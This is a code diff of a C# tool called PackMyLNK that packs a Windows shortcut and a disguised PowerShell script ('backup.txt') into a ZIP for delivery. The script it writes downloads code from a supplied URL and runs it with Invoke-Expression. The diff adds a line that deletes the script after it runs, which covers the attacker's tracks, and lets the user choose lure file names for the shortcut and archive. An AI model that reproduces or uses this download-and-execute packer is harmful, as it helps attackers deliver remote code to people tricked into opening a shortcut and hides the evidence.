@@ -5,17 +5,44 @@ class Program
5
5
{
6
6
static void Main ( string [ ] args )
7
7
{
8
- if ( args . Length < 2 )
8
+ if ( args . Length < 6 )
9
9
{
10
- Console . WriteLine ( "Usage: .\\ PackMyLNK.exe -Url <URL>" ) ;
10
+ Console . WriteLine ( "Usage: .\\ PackMyLNK.exe -Url <URL> -Lnk <LNK_FILE> -Zip <ZIP_file>" ) ;
11
+ return ;
12
+ }
13
+
14
+ string url = null ;
15
+ string lnkName = null ;
16
+ string zipFile = null ;
17
+
18
+ for ( int i = 0 ; i < args . Length ; i ++ )
19
+ {
20
+ if ( args [ i ] == "-Url" && i + 1 < args . Length )
21
+ {
22
+ url = args [ i + 1 ] ;
23
+ }
24
+ else if ( args [ i ] == "-Lnk" && i + 1 < args . Length )
25
+ {
26
+ lnkName = args [ i + 1 ] ;
27
+ }
28
+ else if ( args [ i ] == "-Zip" && i + 1 < args . Length )
29
+ {
30
+ zipFile = args [ i + 1 ] ;
31
+ }
32
+ }
33
+
34
+ if ( url == null || lnkName == null || zipFile == null )
35
+ {
36
+ Console . WriteLine ( "Usage: .\\ PackMyLNK.exe -Url <URL> -Lnk <LNK_FILE> -Zip <ZIP_file>" ) ;
11
37
return ;
12
38
}
13
39
14
- string url = args [ 1 ] ;
15
40
string curDir = AppDomain . CurrentDomain . BaseDirectory ;
16
- string lnkFilePath = Path . Combine ( curDir , "Readme .lnk") ;
41
+ string lnkFilePath = Path . Combine ( curDir , lnkName + " .lnk") ;
17
42
string ps1FilePath = Path . Combine ( curDir , "backup.txt" ) ;
18
- string zipFilePath = Path . Combine ( curDir , "Readme.zip" ) ;
43
+ string zipFilePath = Path . Combine ( curDir , zipFile + ".zip" ) ;
44
+
45
+ Console . ForegroundColor = ConsoleColor . Cyan ;
19
46
20
47
Console . WriteLine ( @"
21
48
_____ _ __ __ _ _ _ _ __
@@ -26,14 +53,13 @@ _____ _ __ __ _ _ _ _ __
26
53
|_| \__,_|\___|_|\_\_| |_|\__, |______|_| \_|_|\_\
27
54
__/ |
28
55
|___/
29
- calfcrusher@inventati.org
56
+
57
+ A simple .zip packer for LNK files - calfcrusher@inventati.org
30
58
" ) ;
31
59
32
-
33
- Console . WriteLine ( "PackMyLNK - A simple .zip packer for LNK files" ) ;
34
- Console . WriteLine ( ) ;
60
+ Console . ResetColor ( ) ;
35
61
Console . WriteLine ( ) ;
36
- string psContent = $ "Invoke-Expression -Command ([Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri '{ url } ' -UseBasicParsing).Content))";
62
+ string psContent = $ "Invoke-Expression -Command ([Text.Encoding]::UTF8.GetString((Invoke-WebRequest -Uri '{ url } ' -UseBasicParsing).Content));Remove-Item $MyInvocation.MyCommand.Definition -Force ";
37
63
38
64
File . WriteAllText ( ps1FilePath , psContent ) ;
39
65
@@ -44,7 +70,7 @@ _____ _ __ __ _ _ _ _ __
44
70
CreateZip ( zipFilePath , new [ ] { lnkFilePath , ps1FilePath } ) ;
45
71
46
72
Console . ForegroundColor = ConsoleColor . Green ;
47
- Console . WriteLine ( "ZIP file created: " + zipFilePath ) ;
73
+ Console . WriteLine ( "[+] ZIP file created: " + zipFilePath ) ;
48
74
Console . ResetColor ( ) ;
49
75
50
76
0 commit comments